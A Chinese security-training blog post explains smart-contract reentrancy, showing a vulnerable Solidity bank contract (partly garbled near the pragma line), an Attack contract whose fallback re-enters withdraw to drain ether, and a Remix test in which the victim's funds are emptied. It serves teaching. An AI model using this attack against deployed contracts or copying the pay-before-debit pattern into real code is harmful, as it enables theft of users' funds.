区块链安全 | 智能合约重入漏洞

区块链安全 | 智能合约重入漏洞

原创 zkaq-君叹 掌控安全EDU 2024-12-30 04:04

扫码领资料

获网安教程

本文由掌控安全学院 –   君叹 投稿

Track安全社区投稿~

千元稿费!还有保底奖励~(https://bbs.zkaq.cn)

智能合约安全

在当今数字化浪潮汹涌澎湃的时代,区块链技术无疑是一颗耀眼的明星,正深刻地重塑着众多领域的运作模式。区块链,本质上是一种去中心化的分布式账本,它通过密码学原理确保了数据的不可篡改与安全性,使得交易信息能够在众多互不信任的节点间实现透明、可靠的记录与验证。而智能合约,则是区块链技术最具创新性与变革性的应用之一。智能合约是一种自动执行的合约条款,以代码形式部署在区块链网络之上。它犹如一位忠诚且严谨的数字化管家,一旦预设的条件被触发,就会自动且精准地执行相应的操作,无需人工干预,从而极大地提高了交易的效率与公正性,减少了人为操作可能带来的误差、欺诈以及冗长的中间环节。无论是金融领域的复杂交易、供应链管理中的物流与支付流程,还是数字资产的交易与管理等场景,智能合约都展现出了巨大的潜力与应用价值。然而,就像任何新兴且强大的技术一样,智能合约在带来便利与机遇的同时,也面临着诸多安全挑战,这些安全隐患犹如隐藏在暗处的礁石,随时可能使智能合约的应用之船触礁搁浅,因此对智能合约安全的深入探讨与研究具有极为重要的现实意义。

简单理解, 智能合约就是运行在区块链上的后端程序, 用来提供服务, 区块链技术是使互联网从web2.0时代迈向web3.0时代的技术, 而Solidity是一种高级编程语言, 在熟悉web逻辑漏洞的情况下, 只要简单入门Solidity, 再结合本教程, 就能快速入门智能合约安全的领域.

Solidity官方文档: https://docs.soliditylang.org/zh/v0.8.21/ Remix: https://remix.ethereum.org/ Remix是基于浏览器的开发Solidity的IDE.

重入攻击

重入攻击的漏洞点存在于先给钱后记帐 我们先来看一段漏洞代码

// SPDX-License-Identifier: GPL-3.0
pragma solidity >=0.7.0  uint) blances;
    // 存钱方法
    function deposit() public payable {
        require(msg.value > 10);
        blances[msg.sender] += msg.value; 
    }
    // 查询余额方法
    function query() public view returns (uint){
        return blances[msg.sender];
    }
    // 取钱方法
    function withdraw(uint blance) public payable {
        require(blances[msg.sender] >= blance, "You don't have enough balance");
        (bool sent, ) = msg.sender.call{value:blance}(""); // 调用 call 进行转账
        if (sent) { // 判断是否转账成功
            blances[msg.sender] -= blance; // 转账成功则扣除相应的余额
        }
    }
}

漏洞点就在上述代码中的withdraw方法中, 是先进行转账, 然后才扣除相应的余额 这会造成什么问题呢? 很显然开发者没有考虑到存款取款的账户也可以是智能合约 在学习过Solidity后, 我们知道, 智能合约中存在fallback方法, 用来处理当合约收到转账的情况 先来看我们的攻击代码 随后对原理进行详细讲解

contract Attack {
    Blan blan;
    bool flag;
    constructor(address blan_address) {
        blan = Blan(blan_address);
    }
    function attack() public payable {
        require(msg.value == 1 ether);
        blan.deposit{value:1 ether}(); // 存入 1eth
        blan.withdraw(10 ** 18); // 取出1 eth, 这里以wei为单位, 10**18 wei = 1 eth
    }
    fallback() external payable {
        if (!flag) {
            blan.withdraw(10 ** 18);
            flag = true;
        }
     }
}

我们可以看到, 有一个 flag 值 当触发攻击函数后, 会像目标合约存入 1eth 再提取1eth 我们来看一下执行的流程图

图中箭头标注1, 2的部分是第一次访问到这块, 会跟着1走, 第二次再访问到这块, 会走2.

img

流程图中很明显的告诉我们 漏洞触发的原因是, 当转账给一个智能合约时 会等待该合约的 fallback() 函数执行完成后 才算这行代码执行完毕, 才会接着继续下一行代码 其中利用的像是一种递归的思想

另外此处还存在整型下溢漏洞 会将我的余额变为 2 ** 256 – 1 第一次存入后, 我的余额为1 两次取出后, 我的余额就变成了 1 – 1 – 1, 由于余额是 uint类型表示的 我的余额就会变成 2**256 -1 wei

测试:

编译时选择Solidity7版本, Solidity8中添加了当发生溢出时自动回退的功能.

img

部署后, 我们首先用默认用户存进去10eth

img

img

img

然后部署攻击合约

img

设置发送1eth

img

img

但是结果我们发现 对方所有eth都到了我们账户上 这是为什么呢?

img

仔细观察我们攻击代码中的fallback()函数 我们这里也是先触发取款, 才更改flag标记 但是第二次取款的时候, 还是会再次触发fallback函数, 这里也同样是重入漏洞的逻辑, 我们需要先更改flag标志, 再调用取款函数, 才能达到我们上述的效果, 大家可以自行尝试, 这里便不做演示.

img